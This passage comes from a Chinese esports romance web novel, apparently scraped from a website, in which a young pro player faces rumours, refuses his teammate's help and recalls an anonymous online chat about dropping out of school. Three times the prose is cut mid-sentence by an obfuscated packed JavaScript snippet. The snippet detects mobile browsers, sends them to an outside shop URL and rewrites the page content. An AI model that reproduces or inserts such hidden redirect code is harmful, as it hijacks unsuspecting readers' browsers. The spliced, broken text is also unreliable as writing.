郁秋似是完全没感受到夜雨辰的挣扎,柔声道:“我们先回去吧?大家都在等你。 ” 夜雨辰眸光闪烁了下。 他开了开口,欲言又止。 稍微冷静下来一点,现在他们站着的这个地方,草坪的正中央,众目睽睽的位置,甚至还有不少摄像头确实不方便再多说什么,更不用说如果刚刚使用暴力…… 他现在只好任由郁秋就这么牵着他带他走。 一路无话。 全程,夜雨辰根本没有抬一次眸看向周边的环境。 委屈、压抑、但又复杂。 差一点就打出去了。 要是那一拳出去,后果将不堪设想。 但,郁秋也并没有把他带回到战队队友身边,而是直接带他离开现在这个地方,奈何,倒数该有的惩罚还是得有的。 一个大叔站在摆满凉茶杯的桌后,介绍道:“广东凉茶,清热解毒,请随意挑选。” 夜雨辰抬眸,阴鸷的眼神扫过面前一杯杯装满棕黑色液体的纸杯。 空气中弥漫着的复杂味道,让他瞬间回忆起第一次喝这凉茶的时候,还是言星奕和小U一起耍他说这很甜很好喝,让他直接一大口闷,那时他的反应是…… “我去这什么鬼啊?!苦死我了!呕!” 突然,他旁边有人在尝到凉茶下一秒就表情扭曲,全数喷了出来并开口怒骂。 夜雨辰随意挑选一杯一饮而尽。 味蕾上传来一股熟悉的又苦又涩、难以下咽且挥之不去的刺激。 还是好难喝。 可这种苦涩也压不住内心不断溢出的委屈。 他表面上仅仅是皱了皱眉,并不动声色地拿起第二杯再度快速地喝完…… “咳咳……” 还不小心被呛了一下。 接着,他拿起第三杯,在刚碰到唇边的时候,手突然一空。 纸杯被抢走了。 他一怔,略显疑惑的目光挪到正悠哉悠哉地拎着他的杯子,轻笑着看着他的郁秋身上。 “我也想喝,分我一杯?” “……”夜雨辰瞥开视线,“随你。” “喂,Night!”七戈的声音在旁边响起,“你刚刚说的,帮我喝……” “帮你什么?” 郁秋笑着打断了他的话。 他一口喝完全部,然后眉头也不皱一下地给七戈展示着这一滴不剩的纸杯,虽然他脸上在笑,但是一字一句里全然没有任何笑意,“你不会连个没味道的水都不敢喝吧?” 说完,他直接在七戈不可思议的目光下带着夜雨辰快步离开了这里。 回到酒店,夜雨辰这才开口质问道:“你不是说大家在等我吗?为什么直接回来了?” 郁秋此刻的脸上的表情不再残留任何的温柔。 他烦躁地开了瓶矿泉水大灌一口,并把另一瓶水开好递给了夜雨辰:“路上给他们发了个消息,说我们先回来了。” ……是这样吗? 夜雨辰坐下来接过水后,黯黯垂下眼眸。 过了好一会,他沙哑道,“郁秋。” “嗯?” 他抬眸,即使面上想再怎么维持着一如往常的冷漠和淡定,但声音还是控制不住有些发颤,“是因为他们也说我是吗?” 郁秋瞬间领悟,失笑一声,“怎么会?” 他坐到夜雨辰旁边和他对视着,眼里满是诚挚与柔和,“其他战队我不清楚,但我跟你保证,JYY永远不会存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081169|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这样的人,不仅如此,我们战队也绝对不会出现背刺、坏话、质疑、排挤等等有关内讧的任何现象。” “我们是电竞战队,目标只有齐心协力,斩获冠军。” “我们只会想堂堂正正的凭实力获胜,从不屑于用各种勾心斗角的手段击溃对手,所以是不可能做出任何伤害队友的事的。” 夜雨辰死死地盯着郁秋:“那你现在为什么要特意避开我和他们见面?” 刚刚明明说的是大家都在等他,但他这一路上却几乎没见到任何职业选手在路上和他们打招呼。 “因为——” 郁秋抬起手,轻轻抚上夜雨辰的面颊,双眸变得有些复杂。 夜雨辰刚刚的脸色,和他进队第一天揍完石简益后迅速回到房间、躲进厕所的模样完全一样。 他噙笑道:“你会很没面子的。” “……” 夜雨辰逐渐抿紧嘴唇,心底里泛起一层浅浅的涟漪。 他脸一偏,躲开郁秋的手并往身后坐了坐,拉开和对方的距离,手控制不住抓紧床单,垂头沙哑道,“我不是。” 这三个字,说出来依旧让人感到一如既往的苍白无力。 连夜雨辰都有种自己又在辩解的错觉。 郁秋莞尔:“我知道。” “可为什么他们又这么随意给我冠头衔?” “夜雨辰,这不是你的错。” “你是在安慰我吗?” “没有安慰,我说的都是实话,优秀从来不是错误。” “……”夜雨辰每说一句,头就控制不住越埋越低,声音越来越低,手上也愈发用力,“可现实一直在告诉我,这就是错误。” 郁秋覆上他的手:“夜雨辰,你只要不忘记自己曾经付出过什么到现在这一步,那就算闲言杂语再多,都是虚假的,清者自清。” “但是……” “剩下的,交给我就好了。” 郁秋轻声道。 ? 什...么? 夜雨辰一愣,倏地抬头看向郁秋,在眼底打转了许久的眼泪终于控制不住顺势从脸颊上滑落。 他喃喃道,“什么叫……交给你?” 郁秋脸上满是柔和的笑容,但眉间已经夹杂着一丝戾气,字里行间里也不再有一丝笑意,“让这些人闭嘴的方法很多,最简单的就是用——” “像两年前那样做一个把全部黑锅和骂声背在自己身上的烂好人吗?” 夜雨辰直接打断了他的话。 还没等郁秋来得及回答,他摇了摇头接着道:“我不要这样。” “不。”郁秋沉声道,“这次,我想用的是另一个方——” “不要。” 拒绝声脱口而出,夜雨辰似是冷静回神了不少,将手从郁秋的掌心下抽出。 他眼里闪烁着挣扎和犹豫的光芒,深吸一口气,“可以不要帮我吗?” 郁秋一愣:“为什么?” 夜雨辰眼神闪躲开,没有直面回答对方的疑问,而是有些难以启齿道:“今天真的很谢谢你。” 闻言,郁秋的手指抽搐了一下。 夜雨辰面上依旧闪烁着踌躇的神色,眼角不知道是因为难为情还是刚刚的委屈还未褪去从而染上了一抹浅浅的绯红。他语速极快道:“其实两年前的事情我也一直欠你一个道谢,这两次真的很谢谢你的帮助。” “但是郁秋,” 夜雨辰重新看向郁秋,目光满是下定决心的坚毅,即使声音还蕴含着委屈的颤抖,“这种声音老是出现在我的生活里,很早很早之前就成为我的心理阴影了,所以我觉得,我现在不仅该知道这个道理,现在也该学会这个道理了,所以,你可以不要帮我吗?” 郁秋皱起眉头:“什么道理?” 夜雨辰深吸一口气,一字一句道:“没有人会来。” 76. 独立 “然后,你就被这么被抛弃了?” “什么抛弃?” 听到这样的结论,郁秋不解,“我怎么不知道我被抛弃了?” 他现在在酒店某房间的阳台上和孟凌轩打着电话。 孟凌轩无语道:“大哥,人家都对你说谢谢还特地把你推开然后你没什么反应?我老婆要是对我说这两个字,我可是要哭得天昏地暗的。” “嘶——”说到这,他突然惊觉,“你不会是相处一个月就嫌弃他,然后刚好借机和他拉开距离吧?不然为什么你现在一直在笑?” “嫌弃?怎么可能?”郁秋挑眉,“我是真的在高兴,所以忍不住笑。” “?”孟凌轩感到惊恐,“你认真的?你很高兴?伤心欲绝了?脑子坏了?” 郁秋颔首,十分肯定道:“对啊,发自内心的高兴。” 然后他以对方听不到的声音小声叹了口气:“虽然还是有点遗憾来着。” “来来来具体说说,你高兴在哪?” 孟凌轩明显没信郁秋的话,“强颜欢笑这种事情你干的次数也不少,你现在不会在偷偷掉眼泪吧?” 郁秋无语:“我什么时候哭过?你从小到大你见过我哭吗?” 孟凌轩嗤鼻一声:“夸张比喻而已,你不高兴的时候,对我们不也会这么笑吗?” “……” 郁秋耸耸眉,没有回答,而是抬起眸,看向残留在夜空中的晚霞,脑子里不禁回响起刚刚他离开房间前和夜雨辰的对话—— 夜雨辰坐在床上目光灼灼地看着郁秋,低喃道:“‘没有人会来’,‘No one ising’……这个概念出自哪里,你应该知道的吧?” 郁秋看着眼里仍残留着挣扎和犹豫之色的夜雨辰,表情复杂地点了点头。 ‘没有人会来’,听上去很绝望的五个字,却是出自积极心理学的一句话。 听上去只能靠自己,但事实是总能靠自己。 “郁秋,”夜雨辰沉声道,“说实话,虽然不知道你说的方法是什么,但从你说出‘剩下的都交给我’这句话后,我的脑子里到现在都一直在跟我嚷嚷着——赶紧接受你的帮助,别墨迹,让我就这么再一次莫名其妙的度过这次的困境。” “但是不行。” 夜雨辰深吸一口气,让自己冷静了不少,“理智告诉我,不可以就这么接受,不仅如此,我这次最好不要再在你的帮助下度过这次的困境,即使是你主动提出来的帮我。” “上次是你帮的我,我开心也很诧异,没联系上你但你居然会主动帮我解决了我很无力的难题,但在那次的事情结束后,我的心底里居然产生了一个‘我居然可以不靠自己,靠别人就能解决问题’的可怕想法。” “假如这次你也帮了我,而且完美解决了,那下次我又遇到这种情况,我是不是又会升起‘别人会帮我的’想法?下下次是不是也会呢?” “我觉得我最好还是别养成一个‘在遇到独属于我的困境时,下意识去期盼和等待外界来帮我’的思想习惯,这种感觉让我很不舒服,就像把自己摆脱困境的希望寄托在别人身上似的。” 郁秋眸光闪烁着复杂之色:“……” 他下意识开了开口,但最终还是欲言又止。 一个人想变得更加优秀且独立,最需要学会的就是克服并拒绝接近自己的光和温暖,并只靠着自己只身朝终点的光走去,即使路很艰难很崎岖,但—— “知道这个道理,行动上却一直做不到,因为这太难了,明明舒适区就在眼前,我却要抛弃它去选择未知的困难。” 说着说着,夜雨辰的声音不由得有些颤抖,“现在我很委屈、很冤枉,也很想这些人立即停止这些荒谬的想法,你说交给你就好了,我也很想,可我不能就这么依赖上你。” “这是我的困境,我的心里阴影,我想自己去直面、去克服。我想我现在最基本应该做到的是——像你、像战队其他人一样,在听到这些闲言杂语后依旧能面不改色、充耳不闻,同时做到不被别人看我的态度和表情所影响……” 他不想再这样,在所见所闻这些后情绪失控到狼狈地被带离现场。 “所以——” 说着说着,夜雨辰偏过头,错开了和郁秋的对视,手不经意地擦过自己的眼角,再也抑不住自己哽咽的声音,“你能先让我一个人呆一会吗?我很快就好。” …… 孟凌轩听完郁秋的讲述,不由得感叹:“确实,你们这一行也算是公众人物,要是学不会屏蔽一些外界的声音,是真的很容易扛不住压力导致内心崩溃的。” 郁秋叹了口气,眸里满是懊悔之色:“本来上午看他没什么反应还以为他是真的已经不会去在意了,但下午邱子幸故意多嘴我才知道他其实还是特别在意这些声音,只是他没注意到而已,但我也早该想到心理阴影这种东西不是说没就没的……” “这有什么,本来一个人就做不到每时每刻去护着另一个人的一生安然无恙。”孟凌轩对这个倒是不以为意,他反而是在羡慕, “但你的小男朋友也厉害,也怪不得你会高兴,这么短时间内就下定决心直面自己的困境,挺坚强哈,反正我做不到这种心态。” 说到这,他就没忍住小声吐槽,“两个奇葩,明明都有条件享受荣华富贵,非要逼着自己硬吃苦。” “……哈。”郁秋欣慰一笑,“可能我们都希望在这方面迅速成长吧?” 但作祟的心里还是更希望夜雨辰就这么依赖上他呢。 孟凌轩冷哼一声:“所以你打电话给我就是为了特地跟我炫耀他有这个醒悟?” “那肯定不是。”郁秋立马否认,干咳两声,“孟老板,您的员工都被外人欺负了,所以我这不是第一时间打电话来告状的吗?” “……”闻言,孟凌轩没忍住后背发凉,强笑一声,“你刚刚不是说你答应他不插手帮他了吗?” 郁秋无辜道:“对啊,确实不插手,我只是在提醒您,如果战队不做好今天的公关,特别是有关夜雨辰的,那整个战队的舆论压力又会不小,除了他,有些队员的抗压能力也不怎么好……” 孟凌轩瞬间领悟,失声道:“所以你又要我掏钱解决问题?!” 郁秋莞尔道:“会还的。” “还个蛋!而且你这还不是在帮他?!” 孟凌轩再也冷静不下来了,咬牙切齿道,“为了他,你这一个月以来花我的钱、借我的车、用我的会员,而且邱子幸和邱诺给战队留下的屁股也是我来擦!战队平常公务主要也是我和我老婆在干、现在又要我来垫后!你特么叫我来玩创业的时候你跟我怎么说的?不烧钱?不忙?那我现在空空如也的钱包和挤不出来的时间算什么?!” “啥都不算,”郁秋不以为意地悠悠笑道,“这种车对你来说都是放仓库睡觉的,你各种会员权限也多到用不完,我只是在帮你消费防止浪费而已,至于钱……这些相比帮你追冷姝言的时候,算九牛一毛吧?” “……”孟凌轩一噎,随即咬牙怒喷,“滚!道德绑架!败类!” 郁秋脸上丝毫没有任何愧意,接着侃侃道:“而且,还有一个更重要的事情就是邱子幸——” “搞不了!” 孟凌轩想也没想就打断了他,没好气道,“至少靠我们几个搞不来他,人家又不像你净身出户勇闯电竞,他长辈可是一起出来护着他的,有点背景,所以现在你要是说让外面的声音安静点,那我能做到,小菜一碟,但你要说对他还手?那你别想,人家现在可以砸的钱用的权比我们多,我可不想还没看你们比赛就用家里关系导致被锁回家,所以,也建议你别想着现在就用最后一次机会。” “……”郁秋叹了口气,“这个我知道,不会的,我也不想现在就回家,还没拿到想要的成绩呢……” 接着,他若无其事地迅速将话题转了回去:“对了,这几天战队除了公关,比赛赛程下来了,所以除了训练赛的安排、你们还要安排好订好所有人到时候的往返机票酒店、然后我们还要重新拍个定妆照、以及……” “停停停!” 孟凌轩现在一听到工作相关的事情就头大,“先不说这个,你先告诉我,如果我的钱真被你霍霍没了怎么办?” “没钱?”郁秋一怔,失笑道,“你会没钱?” 孟凌轩咬牙笃定:“会!” 郁秋嗤笑一声:“这种话骗骗兄弟就好了,你别把自己也骗过去了。” “…………” 孟凌轩沉默了片刻,一字一句道,“郁秋,你会后悔你说了这句话的。” 丢下这句话后,他直接挂断了电话。 郁秋不以为意:“小样,就你还威胁我。” 不过,他脸上的笑意随着电话的挂断已然消失殆尽。 有句话孟凌轩说倒是对了一点,虽然他现在高兴,但同时,他也在烦躁。 他微眯起双眸,目光若有所思地放向另一只手上正拿着的即将燃尽的烟头。 打电话的时候他就这么放任着它的燃烧。 ……啧。 耳边一清静,脑海里就控制不住蹦出某人现在在房间里独自掉眼泪的想象。 他烦躁地咬上烟,苦涩呛人的刺激扑鼻而来。 “咳咳咳咳……” “不会抽就别学别人抽。”这时,零落突然出现在了他的身后吐槽道,“好的不学学坏的。” 郁秋把手中的烟迅速掐灭丢进烟灰缸,耸耸肩,仿佛刚刚被呛到的人不是自己,随便擦去呛出的泪花:“发泄压力的方法是需要摸索的。” 下午邱子幸这一出的小动把他弄得很烦,最主要的是,现在还没办法对他动手脚,不然九成就会被关回家放不出来了,所以他现在只能防止这个讨人厌的家伙再下绊子而已。 零落靠着阳台门,双手抱胸,假笑道:“所以你还要在我的房间呆多久?” 郁秋轻笑道:“逐客令?是嫌弃我吗?” “少装。”零落翻了个白眼:“怕你闲得慌再抽一根,我可不想闻着烟味睡觉,所以你要呆到什么时候?” “不知道啊,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081170|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快吧?”郁秋笑眯眯地晃了晃自己的手机,“等Night给我发信息就——” “叮叮叮!” 话未说完,郁秋的手机就接连响起了几道短信提示音。 零落也听到了这个提示音,挑眉道:“这么快?” “……不。” 郁秋看着手机上接连弹出的短信,表情变得有些微妙。片刻,他没忍住笑出了声,晃了晃自己的屏幕道:“是咱们的裤衩老板破防了。” * 酒店某房间里,夜雨辰背靠着床坐在地上。 他的鼻子和脸颊都泛着一抹显眼的浅红,手上正无意识地揉捏着他和郁秋昨天抓到的那只熊猫玩偶。 空旷且安静的房间让他逐渐稳定下自己失控的情绪,思绪也冷静了不少。 除了自证,他第二讨厌的事情就是控制不住掉眼泪。 特别是这种每次这种话说得越多,眼泪就越控制不住越多的情况。 说好的男子汉大丈夫流血不流泪呢? 可真丢脸。 想着想着,他又烦躁地抹了一下眼角。 很好笑,明明早已不是第一次遇到这种造谣污蔑,自己第一时间居然还是这样的应对模样。 挺小孩子气的。 从小到大,夜雨辰都是一个贪玩的孩子。 在父母的带领下,他常常会去其他城市或国家游玩,而且他们一家又不喜欢玩的时候和旅游高峰期冲突,所以上学期间,他总是会请假,但每次大考又不会因玩而缺席。 但即便这样,他的成绩在年级依旧名列前茅。 而他读过的学校都是群英荟萃的地方。所以,不知道什么时候开始,有人开始在学校传—— 夜雨辰明明每天都在玩,学都不怎么上,凭什么能考这种成绩?作弊了吧? 他当初是怎么面对这种声音的来着? 好像是同学们已经在私底下传了两三个月后他才察觉到,但还没来得及给自己解释他就毕业了。 因此,他和那次的造谣者再没了接触。 所以他最后就只躲在房间里安静地关了几天,这件事就不了了之了。 虽然不知道为什么这些声音会传出来,但他自己的学习时间明明全都是在旅游的路途中挤出来的,他才不屑于作弊,他只喜欢靠货真价实的实力获得成绩。 初一的时候同学换了一批,那一年他依旧会和父母出去玩;而初二开始,他就染上了GloryK——这个游戏带给他的热血和刺激,让他回味无穷沉浸于此,所以无趣的课,他就会翘掉打游戏上分。 但他的成绩依旧雷打不动地稳在顶层,因此,家长也没有过分管束他这种行为。 但一段时间后,他身边居然又开始传‘夜雨辰作弊’的质疑声了。 好笑的是,他又是在声音出来好久后才察觉到的。 这次,他把这件事跟父母说了,结果他们只会跟他说——不必理会别人这种声音,做好自己该做的就行,他们那个年代比他可苦得多最后都坚持下来了,所以这对他来说肯定也不算什么。 可是…… 他做不到听不进去那些声音,因为这不是第一次发生了。 现在的夜雨辰已经想不起当初自己是怎么澄清的了,只记得那时候自己好像整过什么幺蛾子吧?过程忘了,结果倒是记得挺丢人的,不仅没人信,还被大部分人一直蛐蛐到毕业。 而且,因为这接连两次几乎相同借口的造谣,他的心底里也埋下了一颗对此恐惧的种子。 所以如果有人刻意蹦到夜雨辰脸上刷存在感,那他还是会不管三七二十一直接动手,即使最后被恶人先告状。 不过对他来说运气好的是,在这场风波发生没多久时,他游戏里就认识了一个游戏技术和自己旗鼓相当的朋友——言星奕。 两人都是同龄人,而且在学校的处境都挺尴尬,所以互相都觉得对方有些同病相怜,因此,他们也开始常常在网络上会聊聊自己的处境和对这些人行为的不解,并开始逃避倾听和接触外界的很多声音。 害怕会让人下意识想逃避。 厌恶会让人不愿意去接触。 这是人的本能。 所以网络游戏和聊天就这么带他们逃避了现实,他们也欣然接受于此。 再过一段时间后,夜雨辰成为GloryK的路人王之一,他的心里就控制不住开始在意自己在网络上的名声,所以才有后来在网络上被人冒充后,自证自己是Rain和清白的事情…… 那件事虽然让他忙得不可开交,但好消息是他因此开始隐隐察觉到——似乎沉下心比第一时间冲动发脾气去面对问题更重要。 但也只是察觉罢了,他更多还是觉得,自己在网络上忙前忙后却在学校生活一如往常,简直像生活在两个世界一样,而且他更喜欢在有同龄人一起聊天玩耍的网络世界里。 所以,他开始疑惑上学的意义以及其的必要性,毕竟只是读书的话,他自学都能学好。 因此,他心里开始升起了一个辍学打职业的念头。 77. Whisper Tree “砰!” 摔门声猛然响起。 下一秒,夜雨辰就气愤地倒在了自己床上。 他把头深深埋进被窝里。 很生气。 为什么反悔? 一拳用力地砸进了软塌塌的床单上。 明明他们昨晚还答应他,他可以去打职业的,凭什么现在一起床就变了卦? 两个骗子。 …… 就这么趴着一动不动好几分钟,夜雨辰才烦躁地翻了个身,重重吐出一口气。 他打开手机的音符平台,手上不停地刷着各式各样的游戏视频,但他的注意力全然没有在屏幕上。 走电竞选手这条路,是他这几天临时兴起的。 因为前几天和言星奕在深圳打全国大赛的时候,他十分享受和队友并肩作战的感觉,也沉浸和小U这种势均力敌的对手拉扯得有来有回的质量对局—— 不是靠个人能力就能碾压对手或被对手平推的局势,而是在团队的协作下,只要自家水晶不爆炸就无法得知这场游戏的胜利究竟花落谁家的紧张对决。 这种对局在游戏里是很难遇到的,但在职业赛场上,这种质量对局一定把把皆是。 而且按照小U的说法,以他现在的实力——国服中单、游戏里公认的天才少年,虽然暂时还没上过全国第一,但那也是早晚的事。所以,只要他去打职业,他相信他一定百分百入选。 根据他查过的资料,今年他刚好十六岁,是最适合去青训营训练的年龄,大部分职业选手都是在营里呆了两年才毕业,所以他从青训营出来的年龄刚好适合上赛场。 何况上学对他来说也没什么太大的必要,还不如直接辍学去闯职业。 …… 无论怎么想,这对夜雨辰来说都是一个十分正确而且百分百成功的选择。 于是,在他准备好所有的资料、规划完未来两年的计划后,他从深圳一回上海就和他父母提出了自己的所有的想法。 父母在听到他这个想法的第一时间便喜笑颜开并且表示鼎力支持,结果今天一起床,他们突然就改口道—— “我们商量好了,你可以去打职业,但如果你选择辍学并赌上自己全部的未来去拼一个不一定有前途的路,那假如你失败了,家里既不会给你兜底,也不欢迎你回来,因为这是你自己选择的路,你要学会自己去承担自己一些选择的后果。” 哈? 可笑。 这是夜雨辰听到的第一反应。 居然用同意的口吻拿和家里断绝关系来拒绝他的梦想。 他们凭什么认为他会失败? 他可是被全网公认的天才少年中单、是十六岁不到就在巅峰赛里对位打趴了许多职业中单的天才玩家。 他的游戏好友申请列表里,各个俱乐部可都是抢着求着他去加入的。 这么抢手的他怎么可能会失败? 何况这个行业是时不我待的青春饭,他本就比别人晚一年上学,按照他们的意思来说就是读完高中三年再去打职业。 但怎么可能拖那么晚? 别人的19岁都在台上独领风骚了。 再者,凭什么别人家都能同意他们辍学去打职业,这种行为轮到自己身上就不行? …… 正当值意气风发年纪的少年就是这样,只要显露出过人的天赋就热血到不知天高地厚地只想去闯去拼,所以一旦遇到滑铁卢,不少人就直接选择了摔门离家出走意气用事。 夜雨辰便是这种心情。 所以他一气之下,直接摔门把自己窝囊地关进了自己房间。 他到底还是没有离家出走的勇气。 毕竟从小到大,他想做什么、想要什么、想玩什么,父母永远都会第一时间就支持他给予他帮助,所以他不可能一被拒绝就做出直接伤他们心的赌气行为。 可这样的话,他该怎么去打职业? 真的就等三年再开始这条路吗吗? 三年,好漫长的时间。 那时候还来得及吗? 可是他还是想立马现在就去。 但还是不理解,为什么一定要他读完这讨厌的书,学校里明明总有人会莫名其妙地给他找事。 上学读书的必要性到底在哪?明明他自学也比那些只会狗叫的废物强。 夜雨辰越想越烦、越想越躁,手上刷视频的速度越来越快,每个视频的声音几乎还没来得及播放就被切换了过去。 真的无法想通。 既然父母调查过电竞,那他们更应该知道大部分职业选手就是在他这个年纪去青训营训练的才对,提出这样的要求还不如直白地拒绝他呢,这种说法不就是故意为他们自己说话不算话找面子吗? 二十一岁的职业选手,别人这个年纪都是老兵快退役了。 而且让人苦恼的是,如果这件事找言星奕和小U一起想办法的话,以他俩的性格肯定是直接说——“管他丫的!直接大干一场离家出走就完事了!” 所以这条解决问题的方法直接被pass,他只能靠自己想办法让父母同意自己辍学去打职业…… “你!——” 突然,一道电子男音突兀响起,把夜雨辰吓得一激灵,滑手机屏幕的动作倏地一滞。 “还在为无人诉说而感到苦恼吗?” 零帧起手的视频因此继续播放了下去—— “你!心底可迷茫着自己未来的人生方向?” “你!是否正面临着人生困境?正苦苦寻找自己的精神支柱?” “……?” 夜雨辰的手指抽搐了一下。 什么鬼玩意?好尬。 “来‘Whisper Tree’吧!在这里,你可以尽情地诉说你不为人知的小秘密;在这里,你可以随意宣泄你的人生压力;在这里,你还可以吐槽身边的匪夷所思;在这里,你也可以找到迷茫的道路上独属于你的明灯!” “本平台保证百分百不泄露任何用户的所有信息和个人隐私。屏幕前的你还在等待什么?点击左下角即可‘立即下载’。” 等视频播放完后,夜雨辰满是无语地把这条视频滑了过去。 什么尬趣味的广告?傻子才会下载。 “……” 几秒后,他又默默地把视频滑了回来并点进了下载链接。 他才不傻,只是很好奇这个广告的虚假宣传会有多荒唐而已。 一下载好平台,他便习惯性地将id注册为‘Rain’并开始研究这个软件。 其实这就是一个很基础的聊天软件,而‘匿名树洞’的功能是这个软件的最大特色—— 用户既可以吐槽仅自己可见的难听话,又可以将自己手足无措的人生困境投进公共树洞祈求会出现一个好心人为自己答疑解惑拉自己一把,毕竟有时候一个身处低谷的人可能就因为素未谋面的人的一个不经意之举就找回了人生方向,这也是这个平台的创作初心。 夜雨辰毫不犹豫地打开公共树洞,紧接着,一大片宛如弹幕的气泡滑进了他的视线—— “山东省185八块腹肌体育生,有意者私信dd”; “26岁沪二代,身高168坐标上海,只要弟弟小奶狗,年上勿扰”; “CP滴滴,性别年龄地区随意,卡真心,钓鱼别来;” …… “。” 逆天。 夜雨辰挑眉。 还好这个功能不允许发图片,不然不敢想象自己又会看到什么牛鬼蛇神的东西。 不过,他的余光还是瞥到了几个零碎的气泡,如同广告视频宣传那样,还是有个别人是在吐槽自己的心事或寻求帮助。 于是,夜雨辰在卸载软件和吐槽心事二者间反复徘徊了许久后,最终选择了——“未成年,想去打电竞但家里不允许怎么办?” 消息一发,他拿着手机的手不自觉地收紧,目光死死地盯着个人消息界面的消息提示功能,似在期待着收到消息的红点亮起。 十秒钟,没有任何动静。 一分钟,依旧没有动静。 五分钟,还是没有动静。 …… 这句话宛如一粒石子抛进大海,在成千上万条的公共秘密下很快便没了声息。 等了将近十多分钟,夜雨辰终于没忍住自嘲了一声。 自己究竟是怎么想的?居然还真的希望有人能从这求偶堆里蹦出来给自己答疑解惑。 在他刚准备划掉软件后台卸载App的下一秒,消息提示的右上角突然多了一个小红点。 有人回复了。 他一怔,手上的动作迅速一转弯点开了消息栏—— 【有耳:兄弟,这事我有经验,说来话长,要不咱们私聊?】 见有人回应,夜雨辰心里竟升起了一股不可名状的激动和兴奋,于是他不管三七二十一,立马加上了这个“有耳”的好友并发了个消息过去。 【Rain:怎么说?】 对面秒回。 【有耳:你先讲下你的情况?父母是怎么个不同意法?】 【Rain:他们昨天还答应我说可以去打,但今天就跟我说我要是辍学去干这个,就得和家里完全撇开关系。】 【有耳:能冒昧问一下你的成绩如何吗?】 【Rain:年级第一】 【有耳:……】 【有耳:谁问你学习了?】 夜雨辰立马反应过来对方的意思。 【Rain:现在常在游戏的全国前十名徘徊,很多玩家都眼熟我的ID且认可我的实力。】 他等了好一会,对方才发了一条消息过来。 【有耳:你有兴趣听听我的想法吗?事先说好,有些话可能会引起你的不愉快。】 【Rain:你说吧,我不会生气的。】 得到夜雨辰的回复后,对方才开始阐述自己的见解—— 【有耳:按照你的描述,我觉得你父母还是同意了这件事,并没有反悔和不允许你去打,只是早上给你多加了个前提条件——不辍学。】 ? 夜雨辰下意识就想反驳对方这个说法。 怎么可能不辍学? 不辍学的话他不就只能做职业赛场上的大龄老兵了吗? 【有耳:你说你现在是未成年,而且敢向自己的父母提出来这个想法,所以我猜测你的父母应该很爱你,而且他们能做到常常满足你的需求。】 “……” 如对方所说,他知道父母很爱他,但—— 【Rain:这和我不想上学有什么关系?我觉得我没有这个必要,但他们极力想让我上学,以前也是,就算是到处旅游到处玩他们最后也一定会让我参加大考,但又不会管我的成绩究竟如何。】 他们几乎从不在乎他在学校的任何情况——翘课、打架和自己被造谣的处境。好像只要他去上学,确认他在学校,他们便不会干涉太多他的行为。 【有耳:这个嘛……对你来说,学校是个什么样的场所?】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081171|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Rain:学习。】 【有耳:还有吗?】 【Rain:还能有什么?】 【有耳:那请问你有没有想过,做电竞选手后你可能会面临什么吗?】 【Rain:打败对手拿下冠军。】 这次,对面并没有秒回,而是沉寂了数分钟才发来了消息。 【有耳:下面的话是我的个人观点,你自行判断是非。】 【Rain:好。】 【有耳:首先,你必须清楚的一件事情就是,电竞选手,是一份工作,代表你正式踏入了社会。而踏入社会一般是成年人才会去面对的事情,电竞选手也确实是规定在18岁以后才允许上场比赛的行业。】 【有耳:而你,从未有过真正意义上的踏进社会,这方面的经验你很大可能是匮乏甚至可以说是空白的。】 看着这两段话,夜雨辰愣住了,思绪短暂地空白了一瞬。 “踏进社会”这四个字,是他几乎从未接触和思考过的新鲜词汇,身边的同龄人也好像从未提及过这几个字。 【有耳:我理解的学校本身就是一个小型社会,它对全部学生来说是一个便捷适应真正社会的过程。一个人不仅要在其汲取知识,更重要的是学会与人沟通、交往,以及拓宽自己的视野见识到各式各样的人和事。 最主要的是,学校里会有些规则管束会告诉人们什么是可以做的,什么是不能做的,它们会让人们对某些行为的正确与否有个确切的概念,而且除了一些极端行为外,它们也会给人们起到一个提醒和纠正的机会。 社会规则是不会给犯错的人提醒的机会的,社会只会在你做错事的时候冰冷地让你付出和你错误的言行举止相应的代价,而有些代价,你有可能会承担不起。】 好奇怪的想法。 夜雨辰看得一愣一愣的。 但是,这对他来说同样是个很新颖、似乎也很有道理的说法。 【有耳:其次,你父母一开始便答应了你说明他们真的打心底的很支持你的梦想,所以他们当晚才会立即去了解这个行业,‘前提条件’很大概率是他们看到了太多人的失败案例后开始担心你会不计后果地去闯这个赛道并且不准备给自己留条后路。 他们爱你,所以会去考虑一切可能,如果你闯失败后,你该怎么办。他们有能力的话,可能会为你铺路,虽然我觉得人生的道路还是靠自己脚踏实地走来更稳妥一些。】 最后这半句话夜雨辰还是很认可的。 因为他也觉得靠自己拼搏出来的道路一定是最坚实、也最有成就感的。 